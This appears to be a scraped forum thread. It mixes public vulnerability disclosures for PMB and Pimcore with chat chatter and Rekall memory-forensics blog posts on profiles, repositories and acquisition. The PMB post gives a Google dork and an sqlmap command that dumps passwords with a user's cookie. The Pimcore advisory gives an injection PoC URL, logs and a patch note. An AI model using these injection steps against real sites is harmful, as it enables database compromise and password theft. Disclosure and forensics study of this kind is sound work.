  11. # Exploit Title: PMB <= 4.1.3 Post-Auth SQL Injection Vulnerability # Google Dork: inurl:opac_css # Date: 25-12-2014 # Exploit Author: XD4rker (Ismail Belkacim) # Email: xd4rker[at]gmail.com # Twitter: @xd4rker # Vendor Homepage: http://www.sigb.net # Software Link: http://forge.sigb.net/redmine/projects/pmb/files # Affected versions : <= 4.1.3 (Tested against version 4.1.3, 4.1.2 and 3.4.16) -==== Software Description ====- PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products. We are some librarians, users and developers deploring this state of affairs. PMB is based on web technology. This is what we sometimes call a 'web-app'. PMB requires an HTTP server (such as Apache, but this is not an obligation), the MySQL database and the PHP language. The main functions of PMB are : * Supporting the UNIMARC format * Authorities management (authors, publishers, series, subjects...) * Management of loans, holds, borrowers... * A user-friendly configuration * The ability to import full bibliographic records * A user-friendly OPAC integrating a browser * Loans management with a module designed to serve even the very small establishments * Serials management * Simple administration procedures that can be handled easily even by the library staff... -==== Vulnerability ====- Variable $notice_id isn't properly sanitized in file classes/mono_display.class.php, which allows authenticated users to execute arbitrary SQL commands via the id parameter. -==== POC ====- http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9 [SQLI] Using SQLMAP : ./sqlmap.py -u "http://localhost/[PMB_PATH]/catalog.php?categ=isbd&id=9" -p id --headers="Cookie: [VALID_USER_COOKIE]" --passwords -==== Exploit requirements ====- - You will need to be logged in in order to exploit the vulnerability. Source
  12. Document Title: =============== Pimcore v3.0 & v2.3.0 CMS - SQL Injection Vulnerability References (Source): ==================== http://vulnerability-lab.com/get_content.php?id=1363 Release Date: ============= 2014-12-16 Vulnerability Laboratory ID (VL-ID): ==================================== 1363 Common Vulnerability Scoring System: ==================================== 6.4 Product & Service Introduction: =============================== Pimcore is a powerful and robust Zend Framework based PHP content management system (CMS) for creating and managing digital content and assets licensed under the open-source BSD license. Create outstanding digital experiences on the most flexible content management platform available. Manage and edit any type of digital content, for any device and channel in a 100% flexible and personalized way. Pimcore features award-winning single-source and multi-channel publishing functionality making it easy to manage, update, and integrate content and data from various sources. With pimcore brands can create and manage rich digital experiences for all of their output channels at once: web, mobile, apps, social platforms, print and digital signage. With pimcore you can truly `edit once & reuse anywhere`. (Copy of the Homepage: https://www.pimcore.org/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a sql injection vulnerability in the official Pimcore v3.0 & v2.3.0 Content Management System (Web-Application). Vulnerability Disclosure Timeline: ================================== 2014-12-16: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Pimcore GmbH Product: PimCore - Content Management System 3.0 Release Candidate & 2.3.0 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A remote sql injection web vulnerability has been discovered in the official Pimcore v3.0 & v2.3.0 Content Management System. The vulnerability allows remote attackers and local privileged user accounts to inject own sql commands to compromise the web-server dbms of pimcore. The security vulnerability is located in the name value GET method request of the pimcore mysql module. Remote attackers and local privileged user accounts are able to compromise the application service by injection of malicious sql commands. The request method to inject the code is GET and the attack vector is on the application-side of the modules. Remote attackers are able to use the inner application functions of the class module to perform an execution on the application-side unauthorized through the admin acp. The security risk of the sql vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of the remote sql injection web vulnerability requires no privileged application user account or a low privileged user account without user interaction. Successful exploitation of the sql injection vulnerability results in application and web-service or dbms compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] backup/mysql Vulnerable Parameter(s): [+] name Proof of Concept (PoC): ======================= The sql injection vulnerability can be exploited by remote attackers with low privileged application user account and without user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: ./backup/mysql?_dc=1415886023081&name=-1%27[SQL INJECTION VULNERABILITY!]--&type=BASE%20TABLE --- PoC Session Logs [GET] --- Status: 200[OK] GET http://pimcore.localhost:8080/admin/backup/mysql?_dc=1415886023081&name=-1%27[SQL INJECTION VULNERABILITY!]--&type=BASE%20TABLE Load Flags[VALIDATE_NEVER LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[495] Mime Type[text/html] Request Header: Host[pimcore.localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[__utma=59704236.87754243.1415885491.1415885491.1415885491.1; __utmb=59704236.1.10.1415885491; __utmc=59704236; __utmz=59704236.1415885491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); pimcore_admin_sid=28vctg6ilpedepa26b81gqeps5] Connection[keep-alive] Response Header: Date[Thu, 13 Nov 2014 13:55:50 GMT] Server[Apache/2.2.22 (Debian)] Set-Cookie[pimcore_admin_sid=28vctg6ilpedepa26b81gqeps5; path=/; HttpOnly] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Connection[close] Content-Encoding[gzip] X-Powered-By[pimcore] Content-Length[495] Content-Type[text/html] --- Error & Exception Logs --- Fatal error: Uncaught exception 'Zend_Db_Statement_Mysqli_Exception' with message 'Mysqli prepare error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1'' at line 1' in /home/pimcore-service/www/pimcore/lib/Zend/Db/Statement/Mysqli.php:77 - Stack trace: #0 /home/pimcore-service/www/pimcore/lib/Zend/Db/Statement.php(115): Zend_Db_Statement_Mysqli->_prepare('SELECT * FROM -...') #1 /home/pimcore-service/www/pimcore/lib/Zend/Db/Adapter/Mysqli.php(388): Zend_Db_Statement->__construct(Object(Zend_Db_Adapter_Mysqli), 'SELECT * FROM -...') #2 /home/pimcore-service/www/pimcore/lib/Zend/Db/Adapter/Abstract.php(479): Zend_Db_Adapter_Mysqli->prepare('SELECT * FROM -...') #3 /home/pimcore-service/www/pimcore/lib/Zend/Db/Adapter/Abstract.php(737): Zend_Db_Adapter_Abstract->query('SELECT * FROM -...', Array) #4 [internal function]: Zend_Db_Adapter_Abstract->fetchAll('SELECT * FROM -...') #5 /home/pimcore-service/www/pimcore/lib/Pimcore/Resource/Wrapper.php(230): call in /home/pimcore-service/www/pimcore/lib/Zend/Db/Statement/Mysqli.php on line 77 - Fatal error: Call to a member function isAllowed() on a non-object in /home/pimcore-service/www/pimcore/lib/Pimcore/Controller/Action/Admin/Element.php on line 37 - Fatal error: Uncaught exception 'Zend_Db_Statement_Mysqli_Exception' with message 'Mysqli prepare error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1'' at line 1' in /home/pimcore-service/www/pimcore/lib/Zend/Db/Statement/Mysqli.php:77 - Stack trace: #0 /home/pimcore-service/www/pimcore/lib/Zend/Db/Statement.php(115): Zend_Db_Statement_Mysqli->_prepare('SELECT * FROM -...') #1 /home/pimcore-service/www/pimcore/lib/Zend/Db/Adapter/Mysqli.php(388): Zend_Db_Statement->__construct(Object(Zend_Db_Adapter_Mysqli), 'SELECT * FROM -...') #2 /home/pimcore-service/www/pimcore/lib/Zend/Db/Adapter/Abstract.php(479): Zend_Db_Adapter_Mysqli->prepare('SELECT * FROM -...') #3 /home/pimcore-service/www/pimcore/lib/Zend/Db/Adapter/Abstract.php(737): Zend_Db_Adapter_Abstract->query('SELECT * FROM -...', Array) #4 [internal function]: Zend_Db_Adapter_Abstract->fetchAll('SELECT * FROM -...') #5 /home/pimcore-service/www/pimcore/lib/Pimcore/Resource/Wrapper.php(230): call in /home/pimcore-service/www/pimcore/lib/Zend/Db/Statement/Mysqli.php on line 77 Solution - Fix & Patch: ======================= The vulnerability can be patched by implementation of two prepared statements in the section were the vulnerable name value is in usage. Encode and parse also the qrcode and mysql GET method request to prevent exploitation. The fix for the backup routine is already in the main trunk and can be reviewed here: https://github.com/pimcore/pimcore/commit/93067d865affa5a0110ae7e9904cbc5ff5868376 Note: The patch will be part of the next version (RC 2) and the final 3.0 release. You can verify it also by downloading the lastest build from pimcore.org/download. Security Risk: ============== The security risk of the sql injection web vulnerability in the pimcore content management system is estimated as high. (CVSS 6.4) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Source
  13. Bob Marley e mort E raggae dar nu Marley... FTW???
  14. Ce tare e melodia
  15. Rekall started life as a fork from the Volatility project. Volatility uses profiles to control the parsing of memory. For example, in Volatility one must specify the profile before analysis begins: $ vol.py -f myimage.dd --profile Win7SP1x86 pslist What is a profile? So what is this profile? A profile provides the application with specialized support for precisely the operating system version which is running inside the image. Why do we need specialized support? In order to make sense of the memory image. Lets take a step back and examine how memory is used by a running computer. The physical memory itself is simply a series of zeros and ones, without any semantic context at all. The processor is free to read/write from arbitrary locations (sans alignment restrictions). However, computer programs need to organize this memory so they can store meaningful data. For example, in the C programming language one can define a struct which specifies how variables are laid out in memory (For all the details see this workshop): typedef unsigned char uchar; enum { OPT1, OPT2 } options; struct foobar { enum options flags; short int bar; uchar *foo; } Using this information, the compiler can devise a layout of how to store each variable in memory. Since Rekall only receives the memory as a contiguous block of ones and zeros, we need to know where each parameter is laid out in memory. This problem is actually common to a debugger. The debugger needs to also retrieve the struct members so it can display them to the user. It turns out that to make debugging easier, compilers generate exact layout information for every data type they have. This way the debugger can see where in memory (relative to the struct offset) is each parameter. Rekall (and Volatility) use this debugging information to know how to extract each struct member from memory. We construct a python data structure which specifies exactly how to extract each field by parsing the debugging symbols. For example, the above struct foo might by described by: vtypes = { 'foobar': [12, { 'flags': [0, ['Enumeration', dict( target="unsigned int", choices={ 1: "OPT1", 2: "OPT2", }, )]], 'bar: [4, ['unsigned short int']], 'foo: [8, ['Pointer', dict(target="unsigned char")]], } Note that: The description is purely data. It consists of field names, offsets and type names. The precise offset of each field is provided explicitly. This is different from many other parsing libraries (e.g. Construct) which require all fields to be specified (or padding fields to be inserted). This special feature allows: To write sparse struct definitions - i.e. definitions where not all the fields are known. Alias fields (e.g. implement a union) where different types are all located in the same memory address. A profile is actually a collection of such vtype definitions (among other things) which provides the rest of the code with the specific memory layout of the struct members. You can think of it as a template which is overlayed on top of the memory to select the individual field members. Typically to analyze an operating system, the profile is generated from debugging symbols for the kernel binary itself. How do we deal with versions? As operating systems evolve over time, the source code changes in very subtle ways. For example, assume the above struct definition is altered to add an additional field: struct foobar { unsigned int new_field; enum options flags; short int bar; uchar *foo; } Now to make space for the new field, all subsequent fields are pushed up by 4 bytes. This means the vtype definition we have above is wrong, since the offsets for all the fields have changed. If we tried to use the old template on the memory image from the new operating system, we will think that the new_field is actually flags, the flags field is actually bar etc. So generally a profile must match the exact version of the operating system kernel we are analyzing. Slight version mismatches might still work but not reliably (Struct definitions which have not changed between versions will continue to work, but if some of the types were slightly modified our analysis will break). So how does Volatility solve this problem? Volatility has many windows profiles embedded into its source code. For example there is a profile for Windows XP Service Pack 3, one for Windows Vista Service Pack 2 etc. Also included are profiles for the different architectures (x86 and x64). For OSX, one has to download the profile pack from the Volatility site. These are Zip files containing the textual output of dwarfdump (the dump of debugging symbols). When running on an OSX image, Volatility opens the zip file, parses the output of dwarfdump into an in memory python data structure before proceeding with the analysis. Each OSX profile is approximately 1mb, making the entire profile pack around 50mb big. For Linux there are so many versions, that users must build their own by compiling a kernel module in debug mode, and dumping the output of dwarfdump. Again the profile is a zip file containing the output of the linux dwarfdump (which is actually slightly different from the OSX one). Again this must be parsed by the program before any analysis can begin. There are a number of problems with this approach: Windows profiles are included in the code base, which means that all windows profiles are always loaded into memory all the time (even when analyzing a different version of windows). There are about 20-30 different windows profiles. In practice there are hundreds of released builds of the windows kernel. So the profiles that are included in Volatility are only representative to the precise version. As discussed above, one need to have the exact profile version for reliable memory analysis. Hence there is bound to be some variability between the profile version provided by Volatility and the one needed for the actual image. This is simply not scalable - there is a limit of how many profiles one can include with the code. For OSX the profiles must be downloaded separately, and for linux they must be built. You cant really use it as a library included into a third party with such a huge memory footprint. It is also very slow. Due to the plugin model in Volatility, profiles are placed inside one of the plugins directory. When Volatility starts up it tries to load all files inside its plugin directory. This means you cant just point Volatility into your profiles directory because it will always try to open every single profile you have in there. The profile format is not consistent between operating systems. The OSX profiles are parsed using OSX specific parsers, Linux is parsed using a textual based dwarf parser, while windows profiles must be inserted into the code manually. The profiles are very slow to parse. The dwarfparsers used for Linux and OSX profiles are actually parsing the textual output of the dwarfdump program - this is quite slow and not really needed. Since it is important to the Rekall project to minimize memory footprint (so it can be used as a library) and also to improve performance, we had to redesign how profiles work: We observed that the profile contains the vtype definitions for the specific operating system involved. The vtype definitions are just a static data structure consisting of lists, dicts, strings and numbers. This means we can store the profile in a data file, instead of embed it as python code. In python, textual parsing is pretty expensive. Especially parsing the output of dwarfdump is pretty slow. We observed that profiles are written only once (when dumping the output of dwarfdump) but are read every single time the tool runs. It therefore makes sense to write the profile in a format which is optimized for loading very fast with minimal parsing. Since the vtype definition is just a data structure, we know that in Python, JSON is the fastest serialization for simple data structures there is. (Maybe cPickle is faster but we wanted to stay away from pickles to enable the safe interchange of profiles). Finally we observed that for Linux and OSX (and actually for windows too, as explained in a future blog post), the zip file contains a number of different types of data. The Zip file contains the vtype description of all the structs using in the kernel, but also it contains the offsets of global symbols (e.g the kernel system map). For analysing these we need both symbols and constants to represent the kernel version. In Rekall, the profile is a simple data structure (using strings, dict, lists and numbers) which represents a specific version of the kernel. Rather than separate the different types of information (e.g. vtypes and constants) into different members of a zip file, we combine them all into a single dict. Here is an example of a Linux Ubuntu 3.8.0-27 kernel: { "$CONSTANTS": { ".brk.dmi_alloc": 18446744071598981120, ".brk.m2p_overrides": 18446744071598964736, ".brk.p2m_identity": 18446744071594827776, ".brk.p2m_mid": 18446744071594831872, ".brk.p2m_mid_identity": 18446744071598927872, ".brk.p2m_mid_mfn": 18446744071596879872, ".brk.p2m_mid_missing": 18446744071594807296, ".brk.p2m_mid_missing_mfn": 18446744071594811392, ".brk.p2m_missing": 18446744071594803200, ".brk.p2m_populated": 18446744071598952448, .... "$METADATA": { "ProfileClass": "Linux64", "Type": "Profile" }, "$STRUCTS": { "__raw_tickets": [4, { "head": [0, ["short unsigned int"]], "tail": [2, ["short unsigned int"]] }], .... We can see that the top level object is a dict, with keys like "$CONSTANTS", "$METADATA", "$STRUCTS". These are called profile sections. For example, the most common sections are: $CONSTANTS: A dict of constants and their offsets in memory. $STRUCTS: The vtype description of all structs in this kernel version. $METADATA: This describes the kernel, it contains the name of the python class that implements this profile, the kernel’s build version, architecture etc. The whole data structure is serialized using JSON into a file and is loaded at once using pythons json.load() function (This function is actually implemented in C and is extremely fast). An interesting optimization is the realization that if dictionaries are sorted in the json file, then gzip will work much more effectively (since the data will naturally contain a lot of repeated common prefixes - especially with the very large system map). This makes the JSON files much smaller on disk than the Volatility profiles. For example, the Volatility profile for OSX Lion_10.7_AMD.zip is about 1.2mb while the Rekall profile for the same version is 336kb. Both profiles contain the same information and are both compressed. The Rekall profile format is standard across all supported operating systems. Even though generating the profiles uses different mechanism for different operating systems (i.e. parsing PDB files for windows, parsing dwarf files for Linux, parsing debug kernels for OSX), the final output is exactly the same. This makes the profile loading code in Rekall much simpler. It is possible to convert existing Volatility profiles into the Rekall format by using the convert_profile plugin (This might be useful when migrating old profiles from Volatility to Rekall): $ rekall convert_profile ./profiles/Volatility/SnowLeopard_10.6.6_AMD.zip ./OSX_10.6.6_AMD.json $ rekall -f OSX_image.dd --profile ./OSX_10.6.6_AMD.json In a future post we discuss how Rekall profiles are organized into a public profile repository. Source
      • 1
      • Downvote
  16. Rekall started life as special branch in the Volatility project to explore new approaches of performing some memory analysis. Over time this branch was known as the "scudette" branch after the volatility core developer who performed this work (scudette@gmail.com). For various reasons (which you can read more about in the History section of the README.txt file) this branch evolved into a new project called "Rekall". Although the Volatility project implements some excellent algorithms, we wanted to improve on the Volatility code by focusing on some areas which we felt were very important. The goals and priorities of the Rekall project are slighly different from the Volatility project’s: Focus on coding style, readability and maintainability. Create modular code which can be used as a library within other tools. Focus on performance. Because we wanted to deploy Rekall to perform Live analysis with GRR we need it to be efficient and robust. It turns out that making it faster also makes the tool more accurate (We will discuss it in another post). Develop and research more accurate, advanced memory analysis techniques. Document all algorithms heavily. The volatility code base lacks much documentation on how algorithms are implemented. There are many "magic" numbers derived by reversing some unknown functions. These are hard to replicate and explain. We will use this blog as a medium to discuss some of the improvements and research we did in the Rekall project, and the improvements over the Volatility code base. If you have suggestions or contribution, please either add a comment to the page below or send us a mail to rekall-dev@googlegroups.com. Although we often compare the Rekall implementation to the one in the Volatility project, we do not mean to suggest that the Volatility approach is inferiour. Simply that they are focusing on different aspects of memory analysis. For example, volatility hasn't focused much on performance, but it's one of our current main focus - so we put more effort into optimizing the code for speed. Currently we are focusing our efforts on the above areas and the tool is not yet officially released as a stable tool. Although it is generally stable, we reserve the right to modify APIs heavily before the final release. We encourage people to try out the Rekall trunk and send bug reports or open issues with the google code site: https://code.google.com/p/rekall/ Or the mailing list: rekall-discuss@googlegroups.com Quick start Rekall is available as a python package installable via the pip package manager. Simply type (for example on Linux): sudo pip install rekall You might need to specifically allow pre-release software to be included (until Rekall makes a major stable release): sudo pip install --pre rekall To have all the dependencies installed. You still need to have python and pip installed first. To be able to run the ipython notebook, the following are also required: pip install Jinja2 MarkupSafe Pygments astroid pyzmq tornado wsgiref For windows, Rekall is also available as a self contained installer package. Please check the download page for the most appropriate installer to use (http://downloads.rekall.googlecode.com/git/index.html) Development version For development it is easier to install rekall inside a virtual env. Virtual Env is a way for containing and running multiple versions of python packages at the same time, without interfering with the host system. # You might need to install virtualenv: $ sudo apt-get install python-virtualenv # This will build a new empty python environment. $ virtualenv /tmp/Test # Now we switch to the environment - all python code runs from here. $ source /tmp/Test/bin/activate # This will install all dependencies into the virtual environment. $ pip install --pre rekall # For development run the devel version - this will symlink your virtual # environment with the source tree so when you make changes to the source they # appear immediately in the code (without needing to install them to the # environment first). $ git clone https://code.google.com/p/rekall/ $ cd rekall $ python setup.py develop Source
  17. The previous blog post discussed how Rekall redesigned the profile format into a simple JSON data structure. The profile JSON file now becomes the complete information source about a specific kernel version - including global constants, struct definitions (via vtype definitions) and metadata (such as architecture, version etc). One important difference from the Volatility profiles, is that in Rekall, the profile is the actual json file itself, while in Volatility a profile name represents a specific class defined within the code base. So for example, with Rekall one can specify the profile as a path to a file (which may be compressed): $ rekall -f OSX_image.dd --profile ./OSX_10.6.6_AMD.json.gz The Rekall public repository. Since the profile file is just data, it can be hosted in a public repository. Rekall can simply download the required profile from the repository when required. This makes it much easier to distribute the code since we do not need to include vast quantities of unnecessary information embedded inside the program. Rekall provides a public repository located at http://profiles.rekall.googlecode.com/git/ . The Rekall team collects profiles for the most common operating system versions, and we try to increase our coverage as much as possible. For example, we can see what Rekall is doing when loading an OSX profile: $ rekall -f memory_vm_10_7.dd.E01 --profile OSX/10.7.4_AMD -v pslist DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//OSX/10.7.4_AMD.gz INFO:root:Loaded profile OSX/10.7.4_AMD from URL:http://profiles.rekall.googlecode.com/git/ DEBUG:root:Voting round DEBUG:root:Trying <class 'rekall.plugins.addrspaces.macho.MACHOCoreDump'> DEBUG:root:Failed instantiating MACHOCoreDump: Must stack on another address space .... Rekall contacts the default public profile repository to load the specified profile and continues running. Alternate Repositories Although it is very convenient to use the public repository, sometimes we can not or do not want to. For example, if we do not have adequate Internet access on the analysis system we might not be able to use the public repository. Since the profile repository is just a git repository, its easy to mirror it locally. The following will create a directory called rekall.profiles containing the most up to date version of the public repository: $ git clone https://code.google.com/p/rekall.profiles # It is possible to update the local mirror with the latest public profiles. $ cd rekall.profiles rekall.profiles$ git pull # Now we can tell Rekall to use the local repository $ rekall -f memory_vm_10_7.dd.E01 --profile_path full_path_to_rekall.profiles \ --profile OSX/10.7.4_AMD -v pslist To save typing, it is possible to just change the local rekall configuration to point at the profile repository by default. Simply edit the ~/.rekallrc file (Which is a configuration file in YAML format): profile_path: - /home/scudette/projects/rekall.profiles - http://profiles.rekall.googlecode.com/git/ The profile_path parameter specifies a list of paths to search for the specified profile in order. If we place the public repository in the second position, rekall will only attempt to contact the public repository if the required profile does not exist in the local mirror. This is useful if you are doing a lot of analysis for unusual Linux systems (i.e. ones with uncommon or custom compiled kernels). In that case you can put your private profiles in a local directory, but still fall back to the public repository for common profiles. Windows profiles. Putting the profile data in the public repository helps to reduce code footprint. While removing the embedded volatility profiles from the code base it because obvious that Volatility does not actually contain enough windows kernel vtypes to cover all the different windows releases out there. As described in the previous blog post, the profile contains information specific to a single build of the windows kernel. Each time the windows kernel source code is modified and rebuilt, a new profile should be generated. In reality, Microsoft rebuilds and redistributes the windows kernel multiple times during a single marketed release, and even multiple times for different release markets. We know this because each time an executable is built, it contains a new GUID embedded in it. You can check the exact kernel version running in a memory image using Rekall’s RSDS scanner: $ rekall -f win7.elf version_scan --name_regex krnl Offset (P) GUID/Version PDB -------------- -------------------------------- ------------------------------ 0x0000027bb5fc F8E2A8B5C9B74BF4A6E4A48F180099942 ntkrnlmp.pdb Here we see that this image contains a specific version with the GUID F8E2A8B5C9B74BF4A6E4A48F180099942. We actually can check the GUIDs from the binary on disk for the windows kernel. I was curious as to how many different kernel binaries exist in the wild? I began to collect GUIDs for various versions of Windows, generate profiles for these and put them in the profile repository. I have found approximately 200 profiles of the windows kernel (ntoskrnl.exe and its variants) with different architectures (AMD64 and I386), versions and build numbers. For example Windows XP Service Pack 2 has a build number of 2600 but we found over 30 different versions in the wild. Repository Symlinks The profile repository contains a special type of profile definition which is a Symlink. For example, we define a profile called Win7SP1x64 which contains: { "$METADATA": { "Type": "Symlink", "Target": "ntoskrnl.exe/AMD64/6.1.7601.17514/3844DBB920174967BE7AA4A2C20430FA2" } } This just selects a representative profile from the many Windows 7 Service Pack 1 profiles we have. This allows Rekall to be used in backwards compatibility mode: $ rekall -f ~/images/win7.elf -v --profile Win7SP1x64 pslist DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//Win7SP1x64.gz DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//ntoskrnl.exe/AMD64/6.1.7601.17514/3844DBB920174967BE7AA4A2C20430FA2.gz INFO:root:Loaded profile ntoskrnl.exe/AMD64/6.1.7601.17514/3844DBB920174967BE7AA4A2C20430FA2 from URL:http://profiles.rekall.googlecode.com/git/ INFO:root:Loaded profile Win7SP1x64 from URL:http://profiles.rekall.googlecode.com/git/ .... /We can see that first the Symlink profile is opened, followed by the real profile. What profile do I need? Have you even been given an image of a windows version, but you don’t know exactly which one it is supposed to be? Is it a 64 bit system or a 32 bit system? Is it Windows 7 or Windows XP? Is it Service Pack 1 or 2? Volatility has the imageident plugin which load all the windows profiles it knows about (about 20 different ones) and tries to fit them to the image. Its very slow and often does not work. The easier way is simply check the RSDS signature of the windows kernel: $ rekall -f win7.elf version_scan --name_regex krnl Offset (P) GUID/Version PDB -------------- -------------------------------- ------------------------------ 0x0000027bb5fc F8E2A8B5C9B74BF4A6E4A48F180099942 ntkrnlmp.pdb The Rekall public repository organizes windows profiles using two hierarchies, the first is by binary name, architecture and build version, for example: ntoskrnl.exe/I386/5.1.2600.1151/04FB9A156FF44ECCA6EBCAE9617D8DB73.gz However a more useful organization is by GUID (since the GUID is universally unique). If we know the GUID we can automatically access the correct profile without needing to know if it is Windows 7, WinXP or whatever: $ rekall -f ~/images/win7.elf -v --profile GUID/F8E2A8B5C9B74BF4A6E4A48F180099942 pslist DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//GUID/F8E2A8B5C9B74BF4A6E4A48F180099942.gz DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//ntoskrnl.exe/AMD64/6.1.7600.16385/F8E2A8B5C9B74BF4A6E4A48F180099942.gz INFO:root:Loaded profile ntoskrnl.exe/AMD64/6.1.7600.16385/F8E2A8B5C9B74BF4A6E4A48F180099942 from URL:http://profiles.rekall.googlecode.com/git/ INFO:root:Loaded profile GUID/F8E2A8B5C9B74BF4A6E4A48F180099942 from URL:http://profiles.rekall.googlecode.com/git/ .... his method is actually extremely reliable since it will retrieve exactly the correct profile according to the RSDS header we find. Rekall uses this method by default to guess the required profile to use. Therefore normally users do not really need to provide the profile explicitly to Rekall: $ rekall -f ~/images/win7.elf -v pslist DEBUG:root:Voting round DEBUG:root:Trying <class 'rekall.plugins.addrspaces.macho.MACHOCoreDump'> ..... INFO:root:Autodetected physical address space Elf64CoreDump DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//pe.gz INFO:root:Loaded profile pe from URL:http://profiles.rekall.googlecode.com/git/ DEBUG:root:Verifying profile GUID/F8E2A8B5C9B74BF4A6E4A48F180099942 DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//GUID/F8E2A8B5C9B74BF4A6E4A48F180099942.gz DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//ntoskrnl.exe/AMD64/6.1.7600.16385/F8E2A8B5C9B74BF4A6E4A48F180099942.gz INFO:root:Loaded profile ntoskrnl.exe/AMD64/6.1.7600.16385/F8E2A8B5C9B74BF4A6E4A48F180099942 from URL:http://profiles.rekall.googlecode.com/git/ INFO:root:Loaded profile GUID/F8E2A8B5C9B74BF4A6E4A48F180099942 from URL:http://profiles.rekall.googlecode.com/git/ DEBUG:root:Found _EPROCESS @ 0x2818140 (DTB: 0x187000) We can see that Rekall initially fetches the pe profile (so it can parse the RSDS header), when a hit is found, the profile repository is search by the GUID. This is found as a symlink to an actual profile from a Windows 7 version. What if the profile repository does not have my exact version? As mentioned above we are still building the repository up as a public service, and it may be that we do not have the profile for the exact version in your memory image. You will typically see something like this: $ rekall -f ~/images/win7.elf -v pslist DEBUG:root:Opened url http://profiles.rekall.googlecode.com/git//GUID/F8E1A8B5C9B74BF4A6E4A48F180099942 DEBUG:root:Could not find profile GUID/F8E1A8B5C9B74BF4A6E4A48F180099942 in http://profiles.rekall.googlecode.com/git/ DEBUG:root:Could not find profile GUID/F8E1A8B5C9B74BF4A6E4A48F180099942 in None Traceback (most recent call last): File "/home/scudette/VirtualEnvs/Dev/bin/rekall", line 9, in <module> load_entry_point('rekall==1.0rc3', 'console_scripts', 'rekall')() File "/home/scudette/rekall/rekall/rekal.py", line 145, in main flags = args.parse_args(argv=argv, user_session=user_session) File "/home/scudette/rekall/rekall/args.py", line 218, in parse_args LoadProfileIntoSession(parser, argv, user_session) File "/home/scudette/rekall/rekall/args.py", line 194, in LoadProfileIntoSession state.Set(arg, value) File "/home/scudette/rekall/rekall/session.py", line 169, in __exit__ self.session.UpdateFromConfigObject() File "/home/scudette/rekall/rekall/session.py", line 210, in UpdateFromConfigObject self.profile = self.LoadProfile(profile_parameter) File "/home/scudette/rekall/rekall/session.py", line 464, in LoadProfile filename) ValueError: Unable to load profile GUID/F8E1A8B5C9B74BF4A6E4A48F180099942 from any repository. Although you could maybe substitute a generic profile (like Win7SP1x64 as described above). This is really not recommended and will probably stop working at some point in the future (as Rekall uses more advanced analysis methods which depend on accurate profiles). The correct solution is to generate your own profile like this: # First find the GUID of the kernel in your image $ rekall -f win7.elf version_scan --name_regex krnl Offset (P) GUID/Version PDB -------------- -------------------------------- ------------------------------ 0x0000027bb5fc F8E2A8B5C9B74BF4A6E4A48F180099942 ntkrnlmp.pdb # Then fetch the GUID from Microsoft's symbol server. $ rekall fetch_pdb -D. --guid F8E2A8B5C9B74BF4A6E4A48F180099942 --filename ntkrnlmp.pdb Trying to fetch http://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/F8E2A8B5C9B74BF4A6E4A48F180099942/ntkrnlmp.pd_ Received 2675077 bytes Extracting cabinet: ntkrnlmp.pd_ extracting ntkrnlmp.pdb All done, no errors. # Now Generate the profile from the pdb file. You will need to provide the # approximate windows version. $ rekall parse_pdb -f ntkrnlmp.pdb --output F8E2A8B5C9B74BF4A6E4A48F180099942.json --win 6.1 Extracting OMAP Information 62% Please send us that GUID so we can add it to our repository. If you have a local repository you can just add it to your own repository (under the GUID/ directory). Summary Rekall has moved the profiles out of the code base Profiles are now stored in their own unique repository. Profiles are now much more accurate since they are exactly tailored to the specific version of the kernel in the memory image, rather than guessing approximate representative profiles by commercial release names (e.g. Win7). Rekall also implements a robust profile auto-detection method. The user rarely needs to explicitly provide the profile on the command line, and detection is extremely fast and reliable. Source
  18. In our recent paper, we examined memory acquisition in details and tested a bunch of tools. Memory acquisition tools have to achieve two tasks to be useful: They need to be able to map a region of physical memory into the virtual address space, so it can be read by the tool. They need to know where in the physical address space it is safe to read. Reading a DMA mapped region will typically crash the system (BSOD). Since PCI devices are able to map DMA buffers into the physical address space, it is not safe to read these buffers. When a read operation occurs on the memory bus for these addresses, the device might become activated and cause a system crash or worse. The memory acquisition tool needs to be able to avoid these DMA mapped regions in order to safely acquire the memory. Let us see what occurs when one loads the memory acquisition driver. Since our goal is to play around with memory modification, we will enable write support for the winpmem acquisition tool (This example uses a Windows 7 AMD64 VM): c:/Users/mic/winpmem_write_1.5.5.exe -l -w We see that winpmem extracts its driver to a temporary location, and loads it into the kernel. It then reports the value of the Control Register CR3 (This is the kernel's Directory Table Base - or DTB). Next we see that the driver is reporting the ranges of physical memory available on this system. There are two ranges on this system with a gap in between. To understand why this is let's consider the boot process: When the system boots, the BIOS configures the initial physical memory map. The RAM in the system is literally installed at various ranges in the physical address space by the BIOS. The operating system is booted in Real mode, at which point a BIOS service interrupt is issued to query this physical memory configuration. It is only possible to issue this interrupt in Real mode. During the OS boot sequence, the processor is switched to protected mode and the operating system continues booting. The OS configures PCI devices by talking to 